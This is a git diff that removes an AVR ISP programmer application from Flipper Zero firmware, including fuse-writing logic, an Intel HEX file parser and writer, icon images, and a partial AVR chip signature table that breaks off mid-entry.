FURI_LOG_D(TAG, "Write fuse chip"); - - bool ret = false; - uint8_t lfuse; - uint8_t hfuse; - uint8_t efuse; - uint8_t lock; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* temp_str = furi_string_alloc(); - - uint32_t temp_data32; - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - //upload file with description - do { - furi_string_printf(temp_str, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_existing(flipper_format, furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Error open file %s", furi_string_get_cstr(temp_str)); - break; - } - - if(!flipper_format_read_header(flipper_format, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if((!strcmp(furi_string_get_cstr(temp_str), AVR_ISP_APP_FILE_TYPE)) && - temp_data32 == AVR_ISP_APP_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - AvrIspSignature sig_read = {0}; - - if(!flipper_format_read_hex( - flipper_format, "Signature", (uint8_t*)&sig_read, sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Missing Signature"); - break; - } - - if(memcmp( - (uint8_t*)&instance->signature, (uint8_t*)&sig_read, sizeof(AvrIspSignature)) != - 0) { - FURI_LOG_E( - TAG, - "Wrong chip. Connected (%02X %02X %02X), read from file (%02X %02X %02X)", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number, - sig_read.vendor, - sig_read.part_family, - sig_read.part_number); - break; - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(!flipper_format_read_hex(flipper_format, "Lfuse", &lfuse, 1)) { - FURI_LOG_E(TAG, "Missing Lfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(!flipper_format_read_hex(flipper_format, "Hfuse", &hfuse, 1)) { - FURI_LOG_E(TAG, "Missing Hfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(!flipper_format_read_hex(flipper_format, "Efuse", &efuse, 1)) { - FURI_LOG_E(TAG, "Missing Efuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - if(!flipper_format_read_hex(flipper_format, "Lock", &lock, 1)) { - FURI_LOG_E(TAG, "Missing Lock"); - break; - } - } - - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - - ret = true; - - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(instance->lfuse != lfuse) { - if(!avr_isp_write_fuse_low(instance->avr_isp, lfuse)) { - FURI_LOG_E(TAG, "Write Lfuse: error"); - ret = false; - } - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(instance->hfuse != hfuse) { - if(!avr_isp_write_fuse_high(instance->avr_isp, hfuse)) { - FURI_LOG_E(TAG, "Write Hfuse: error"); - ret = false; - } - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(instance->efuse != efuse) { - if(!avr_isp_write_fuse_extended(instance->avr_isp, efuse)) { - FURI_LOG_E(TAG, "Write Efuse: error"); - ret = false; - } - } - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - FURI_LOG_D(TAG, "Write lock byte"); - if(instance->lock != lock) { - if(!avr_isp_write_lock_byte(instance->avr_isp, lock)) { - FURI_LOG_E(TAG, "Write Lock byte: error"); - ret = false; - } - } - } - avr_isp_end_pmode(instance->avr_isp); - } while(false); - } - - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - furi_string_free(temp_str); - return ret; -} - -void avr_isp_worker_rw_write_fuse_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtWritingFuse); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h b/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h deleted file mode 100644 index 2c52a8700..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h +++ /dev/null @@ -1,99 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIspWorkerRW AvrIspWorkerRW; - -typedef void (*AvrIspWorkerRWCallback)( - void* context, - const char* name, - bool detect_chip, - uint32_t flash_size); - -typedef enum { - AvrIspWorkerRWStatusILDE = 0, - AvrIspWorkerRWStatusEndReading = 1, - AvrIspWorkerRWStatusEndVerification = 2, - AvrIspWorkerRWStatusEndWriting = 3, - AvrIspWorkerRWStatusEndWritingFuse = 4, - - AvrIspWorkerRWStatusErrorReading = (-1), - AvrIspWorkerRWStatusErrorVerification = (-2), - AvrIspWorkerRWStatusErrorWriting = (-3), - AvrIspWorkerRWStatusErrorWritingFuse = (-4), - - AvrIspWorkerRWStatusReserved = 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization. -} AvrIspWorkerRWStatus; - -typedef void (*AvrIspWorkerRWStatusCallback)(void* context, AvrIspWorkerRWStatus status); - -AvrIspWorkerRW* avr_isp_worker_rw_alloc(void* context); - -void avr_isp_worker_rw_free(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_start(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_stop(AvrIspWorkerRW* instance); - -bool avr_isp_worker_rw_is_running(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_set_callback( - AvrIspWorkerRW* instance, - AvrIspWorkerRWCallback callback, - void* context); - -void avr_isp_worker_rw_set_callback_status( - AvrIspWorkerRW* instance, - AvrIspWorkerRWStatusCallback callback_status, - void* context_status); - -bool avr_isp_worker_rw_detect_chip(AvrIspWorkerRW* instance); - -float avr_isp_worker_rw_get_progress_flash(AvrIspWorkerRW* instance); - -float avr_isp_worker_rw_get_progress_eeprom(AvrIspWorkerRW* instance); - -bool avr_isp_worker_rw_read_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_read_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_verification( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_verification_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_check_hex( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_write_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_write_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_write_fuse( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_write_fuse_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c b/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c deleted file mode 100644 index a8c20a0bd..000000000 --- a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c +++ /dev/null @@ -1,321 +0,0 @@ -#include "flipper_i32hex_file.h" -#include -#include -#include -#include -#include - -//https://en.wikipedia.org/wiki/Intel_HEX - -#define TAG "FlipperI32HexFile" - -#define COUNT_BYTE_PAYLOAD 32 //how much payload will be used - -#define I32HEX_TYPE_DATA 0x00 -#define I32HEX_TYPE_END_OF_FILE 0x01 -#define I32HEX_TYPE_EXT_LINEAR_ADDR 0x04 -#define I32HEX_TYPE_START_LINEAR_ADDR 0x05 - -struct FlipperI32HexFile { - uint32_t addr; - uint32_t addr_last; - Storage* storage; - Stream* stream; - FuriString* str_data; - FlipperI32HexFileStatus file_open; -}; - -FlipperI32HexFile* flipper_i32hex_file_open_write(const char* name, uint32_t start_addr) { - furi_assert(name); - - FlipperI32HexFile* instance = malloc(sizeof(FlipperI32HexFile)); - instance->addr = start_addr; - instance->addr_last = 0; - instance->storage = furi_record_open(RECORD_STORAGE); - instance->stream = file_stream_alloc(instance->storage); - - if(file_stream_open(instance->stream, name, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - instance->file_open = FlipperI32HexFileStatusOpenFileWrite; - FURI_LOG_D(TAG, "Open write file %s", name); - } else { - FURI_LOG_E(TAG, "Failed to open file %s", name); - instance->file_open = FlipperI32HexFileStatusErrorNoOpenFile; - } - instance->str_data = furi_string_alloc(instance->storage); - - return instance; -} - -FlipperI32HexFile* flipper_i32hex_file_open_read(const char* name) { - furi_assert(name); - - FlipperI32HexFile* instance = malloc(sizeof(FlipperI32HexFile)); - instance->addr = 0; - instance->addr_last = 0; - instance->storage = furi_record_open(RECORD_STORAGE); - instance->stream = file_stream_alloc(instance->storage); - - if(file_stream_open(instance->stream, name, FSAM_READ, FSOM_OPEN_EXISTING)) { - instance->file_open = FlipperI32HexFileStatusOpenFileRead; - FURI_LOG_D(TAG, "Open read file %s", name); - } else { - FURI_LOG_E(TAG, "Failed to open file %s", name); - instance->file_open = FlipperI32HexFileStatusErrorNoOpenFile; - } - instance->str_data = furi_string_alloc(instance->storage); - - return instance; -} - -void flipper_i32hex_file_close(FlipperI32HexFile* instance) { - furi_assert(instance); - - furi_string_free(instance->str_data); - file_stream_close(instance->stream); - stream_free(instance->stream); - furi_record_close(RECORD_STORAGE); -} - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileWrite) { - ret.status = FlipperI32HexFileStatusErrorFileWrite; - } - uint8_t count_byte = 0; - uint32_t ind = 0; - uint8_t crc = 0; - - furi_string_reset(instance->str_data); - - if((instance->addr_last & 0xFF0000) < (instance->addr & 0xFF0000)) { - crc = 0x02 + 0x04 + ((instance->addr >> 24) & 0xFF) + ((instance->addr >> 16) & 0xFF); - crc = 0x01 + ~crc; - //I32HEX_TYPE_EXT_LINEAR_ADDR - furi_string_cat_printf( - instance->str_data, ":02000004%04lX%02X\r\n", (instance->addr >> 16), crc); - instance->addr_last = instance->addr; - } - - while(ind < data_size) { - if((ind + COUNT_BYTE_PAYLOAD) > data_size) { - count_byte = data_size - ind; - } else { - count_byte = COUNT_BYTE_PAYLOAD; - } - //I32HEX_TYPE_DATA - furi_string_cat_printf( - instance->str_data, ":%02X%04lX00", count_byte, (instance->addr & 0xFFFF)); - crc = count_byte + ((instance->addr >> 8) & 0xFF) + (instance->addr & 0xFF); - - for(uint32_t i = 0; i < count_byte; i++) { - furi_string_cat_printf(instance->str_data, "%02X", *data); - crc += *data++; - } - crc = 0x01 + ~crc; - furi_string_cat_printf(instance->str_data, "%02X\r\n", crc); - - ind += count_byte; - instance->addr += count_byte; - } - if(instance->file_open) stream_write_string(instance->stream, instance->str_data); - return ret; -} - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_end_line(FlipperI32HexFile* instance) { - furi_assert(instance); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileWrite) { - ret.status = FlipperI32HexFileStatusErrorFileWrite; - } - furi_string_reset(instance->str_data); - //I32HEX_TYPE_END_OF_FILE - furi_string_cat_printf(instance->str_data, ":00000001FF\r\n"); - if(instance->file_open) stream_write_string(instance->stream, instance->str_data); - return ret; -} - -void flipper_i32hex_file_bin_to_i32hex_set_addr(FlipperI32HexFile* instance, uint32_t addr) { - furi_assert(instance); - - instance->addr = addr; -} - -const char* flipper_i32hex_file_get_string(FlipperI32HexFile* instance) { - furi_assert(instance); - - return furi_string_get_cstr(instance->str_data); -} - -static FlipperI32HexFileRet flipper_i32hex_file_parse_line( - FlipperI32HexFile* instance, - const char* str, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - char* str1; - uint32_t data_wrire_ind = 0; - uint32_t data_len = 0; - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusErrorData, .data_size = 0}; - - //Search for start of data I32HEX - str1 = strstr(str, ":"); - do { - if(str1 == NULL) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(!hex_char_to_uint8(*str1, str1[1], data + data_wrire_ind)) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(++data_wrire_ind > data_size) { - ret.status = FlipperI32HexFileStatusErrorOverflow; - break; - } - data_len = 5 + data[0]; // +5 bytes per header and crc - while(data_len > data_wrire_ind) { - str1++; - if(!hex_char_to_uint8(*str1, str1[1], data + data_wrire_ind)) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(++data_wrire_ind > data_size) { - ret.status = FlipperI32HexFileStatusErrorOverflow; - break; - } - } - ret.status = FlipperI32HexFileStatusOK; - ret.data_size = data_wrire_ind; - - } while(0); - return ret; -} - -static bool flipper_i32hex_file_check_data(uint8_t* data, uint32_t data_size) { - furi_assert(data); - - uint8_t crc = 0; - uint32_t data_read_ind = 0; - if(data[0] > data_size) return false; - while(data_read_ind < data_size - 1) { - crc += data[data_read_ind++]; - } - return data[data_size - 1] == ((1 + ~crc) & 0xFF); -} - -static FlipperI32HexFileRet flipper_i32hex_file_parse( - FlipperI32HexFile* instance, - const char* str, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = flipper_i32hex_file_parse_line(instance, str, data, data_size); - - if((ret.status == FlipperI32HexFileStatusOK) && (ret.data_size > 4)) { - switch(data[3]) { - case I32HEX_TYPE_DATA: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - ret.data_size -= 5; - memcpy(data, data + 4, ret.data_size); - ret.status = FlipperI32HexFileStatusData; - } else { - ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_END_OF_FILE: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - ret.status = FlipperI32HexFileStatusEofFile; - ret.data_size = 0; - } else { - ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_EXT_LINEAR_ADDR: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - data[0] = data[4]; - data[1] = data[5]; - data[3] = 0; - data[4] = 0; - ret.status = FlipperI32HexFileStatusUdateAddr; - ret.data_size = 4; - } else { - ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_START_LINEAR_ADDR: - ret.status = FlipperI32HexFileStatusErrorUnsupportedCommand; - ret.data_size = 0; - break; - default: - ret.status = FlipperI32HexFileStatusErrorUnsupportedCommand; - ret.data_size = 0; - break; - } - } else { - ret.status = FlipperI32HexFileStatusErrorData; - ret.data_size = 0; - } - return ret; -} - -bool flipper_i32hex_file_check(FlipperI32HexFile* instance) { - furi_assert(instance); - - uint32_t data_size = 280; - uint8_t data[280] = {0}; - bool ret = true; - - if(instance->file_open != FlipperI32HexFileStatusOpenFileRead) { - FURI_LOG_E(TAG, "File is not open"); - ret = false; - } else { - stream_rewind(instance->stream); - - while(stream_read_line(instance->stream, instance->str_data)) { - FlipperI32HexFileRet parse_ret = flipper_i32hex_file_parse( - instance, furi_string_get_cstr(instance->str_data), data, data_size); - - if(parse_ret.status < 0) { - ret = false; - } - } - stream_rewind(instance->stream); - } - return ret; -} - -FlipperI32HexFileRet flipper_i32hex_file_i32hex_to_bin_get_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileRead) { - ret.status = FlipperI32HexFileStatusErrorFileRead; - } else { - stream_read_line(instance->stream, instance->str_data); - ret = flipper_i32hex_file_parse( - instance, furi_string_get_cstr(instance->str_data), data, data_size); - } - - return ret; -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h b/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h deleted file mode 100644 index 765b94beb..000000000 --- a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include - -typedef struct FlipperI32HexFile FlipperI32HexFile; - -typedef enum { - FlipperI32HexFileStatusOK = 0, - FlipperI32HexFileStatusData = 2, - FlipperI32HexFileStatusUdateAddr = 3, - FlipperI32HexFileStatusEofFile = 4, - FlipperI32HexFileStatusOpenFileWrite = 5, - FlipperI32HexFileStatusOpenFileRead = 6, - - // Errors - FlipperI32HexFileStatusErrorCrc = (-1), - FlipperI32HexFileStatusErrorOverflow = (-2), - FlipperI32HexFileStatusErrorData = (-3), - FlipperI32HexFileStatusErrorUnsupportedCommand = (-4), - FlipperI32HexFileStatusErrorNoOpenFile = (-5), - FlipperI32HexFileStatusErrorFileWrite = (-6), - FlipperI32HexFileStatusErrorFileRead = (-7), - - FlipperI32HexFileStatusReserved = - 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization. -} FlipperI32HexFileStatus; - -typedef struct { - FlipperI32HexFileStatus status; - uint32_t data_size; -} FlipperI32HexFileRet; - -FlipperI32HexFile* flipper_i32hex_file_open_write(const char* name, uint32_t start_addr); - -FlipperI32HexFile* flipper_i32hex_file_open_read(const char* name); - -void flipper_i32hex_file_close(FlipperI32HexFile* instance); - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size); - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_end_line(FlipperI32HexFile* instance); - -const char* flipper_i32hex_file_get_string(FlipperI32HexFile* instance); - -void flipper_i32hex_file_bin_to_i32hex_set_addr(FlipperI32HexFile* instance, uint32_t addr); - -bool flipper_i32hex_file_check(FlipperI32HexFile* instance); - -FlipperI32HexFileRet flipper_i32hex_file_i32hex_to_bin_get_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png b/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png deleted file mode 100644 index 533787fe3..000000000 Binary files a/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/avr_wiring.png b/applications/external/avr_isp_programmer/images/avr_wiring.png deleted file mode 100644 index 957012405..000000000 Binary files a/applications/external/avr_isp_programmer/images/avr_wiring.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png b/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png deleted file mode 100644 index b03bf3567..000000000 Binary files a/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_error_70x22.png b/applications/external/avr_isp_programmer/images/chip_error_70x22.png deleted file mode 100644 index 16f81178c..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_error_70x22.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_long_70x22.png b/applications/external/avr_isp_programmer/images/chip_long_70x22.png deleted file mode 100644 index 3edfff82d..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_long_70x22.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png b/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png deleted file mode 100644 index 6d56dcfa0..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png b/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/isp_active_128x53.png b/applications/external/avr_isp_programmer/images/isp_active_128x53.png deleted file mode 100644 index 843792123..000000000 Binary files a/applications/external/avr_isp_programmer/images/isp_active_128x53.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/link_waiting_77x56.png b/applications/external/avr_isp_programmer/images/link_waiting_77x56.png deleted file mode 100644 index d7d32aed5..000000000 Binary files a/applications/external/avr_isp_programmer/images/link_waiting_77x56.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c deleted file mode 100644 index 2be54de6a..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c +++ /dev/null @@ -1,386 +0,0 @@ -#include "avr_isp_chip_arr.h" - -#include - -//https://github.com/avrdudes/avrdude/blob/master/src/avrintel.c - -const AvrIspChipArr avr_isp_chip_arr[] = { // Value of -1 typically means unknown - //{mcu_name, mcuid, family, {sig, na, ture}, flstart, flsize, pgsiz, nb, bootsz, eestart, eesize, ep, rambeg, ramsiz, nf, nl, ni}, // Source - {"ATtiny4", 0, F_AVR8L, {0x1E, 0x8F, 0x0A}, 0, 0x00200, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny5", 1, F_AVR8L, {0x1E, 0x8F, 0x09}, 0, 0x00200, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 11}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny9", 2, F_AVR8L, {0x1E, 0x90, 0x08}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny10", 3, F_AVR8L, {0x1E, 0x90, 0x03}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 11}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny20", 4, F_AVR8L, {0x1E, 0x91, 0x0F}, 0, 0x00800, 0x020, 0, 0, 0, 0, 0, 0x0040, 0x0080, 1, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny40", 5, F_AVR8L, {0x1E, 0x92, 0x0E}, 0, 0x01000, 0x040, 0, 0, 0, 0, 0, 0x0040, 0x0100, 1, 1, 18}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny102", 6, F_AVR8L, {0x1E, 0x90, 0x0C}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 16}, // atdf, avrdude, boot size (manual) - {"ATtiny104", 7, F_AVR8L, {0x1E, 0x90, 0x0B}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 16}, // atdf, avrdude, boot size (manual) - - {"ATtiny11", 8, F_AVR8, {0x1E, 0x90, 0x04}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 1, 0x0060, 0x0020, 1, 1, 5}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny12", 9, F_AVR8, {0x1E, 0x90, 0x05}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 2, 0x0060, 0x0020, 1, 1, 6}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny13", 10, F_AVR8, {0x1E, 0x90, 0x07}, 0, 0x00400, 0x020, 0, 0, 0, 0x0040, 4, 0x0060, 0x0040, 2, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny13A", 11, F_AVR8, {0x1E, 0x90, 0x07}, 0, 0x00400, 0x020, 0, 0, 0, 0x0040, 4, 0x0060, 0x0040, 2, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny15", 12, F_AVR8, {0x1E, 0x90, 0x06}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 2, 0x0060, 0x0020, 1, 1, 9}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny22", 13, F_AVR8, {0x1E, 0x91, 0x06}, 0, 0x00800, -1, 0, 0, -1, -1, -1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, boot size (manual) - {"ATtiny24", 14, F_AVR8, {0x1E, 0x91, 0x0B}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny24A", 15, F_AVR8, {0x1E, 0x91, 0x0B}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny25", 16, F_AVR8, {0x1E, 0x91, 0x08}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny26", 17, F_AVR8, {0x1E, 0x91, 0x09}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 2, 1, 12}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny28", 18, F_AVR8, {0x1E, 0x91, 0x07}, 0, 0x00800, 0x002, 0, 0, 0, 0, 0, 0x0060, 0x0020, 1, 1, 6}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny43U", 19, F_AVR8, {0x1E, 0x92, 0x0C}, 0, 0x01000, 0x040, 0, 0, 0, 0x0040, 4, 0x0060, 0x0100, 3, 1, 16}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny44", 20, F_AVR8, {0x1E, 0x92, 0x07}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny44A", 21, F_AVR8, {0x1E, 0x92, 0x07}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny45", 22, F_AVR8, {0x1E, 0x92, 0x06}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny48", 23, F_AVR8, {0x1E, 0x92, 0x09}, 0, 0x01000, 0x040, 0, 0, 0, 0x0040, 4, 0x0100, 0x0100, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny84", 24, F_AVR8, {0x1E, 0x93, 0x0C}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny84A", 25, F_AVR8, {0x1E, 0x93, 0x0C}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny85", 26, F_AVR8, {0x1E, 0x93, 0x0B}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny87", 27, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny88", 28, F_AVR8, {0x1E, 0x93, 0x11}, 0, 0x02000, 0x040, 0, 0, 0, 0x0040, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny167", 29, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny261", 30, F_AVR8, {0x1E, 0x91, 0x0C}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny261A", 31, F_AVR8, {0x1E, 0x91, 0x0C}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny441", 32, F_AVR8, {0x1E, 0x92, 0x15}, 0, 0x01000, 0x010, 0, 0, 0, 0x0100, 4, 0x0100, 0x0100, 3, 1, 30}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny461", 33, F_AVR8, {0x1E, 0x92, 0x08}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny461A", 34, F_AVR8, {0x1E, 0x92, 0x08}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny828", 35, F_AVR8, {0x1E, 0x93, 0x14}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny828R", 36, F_AVR8, {0x1E, 0x93, 0x14}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0100, 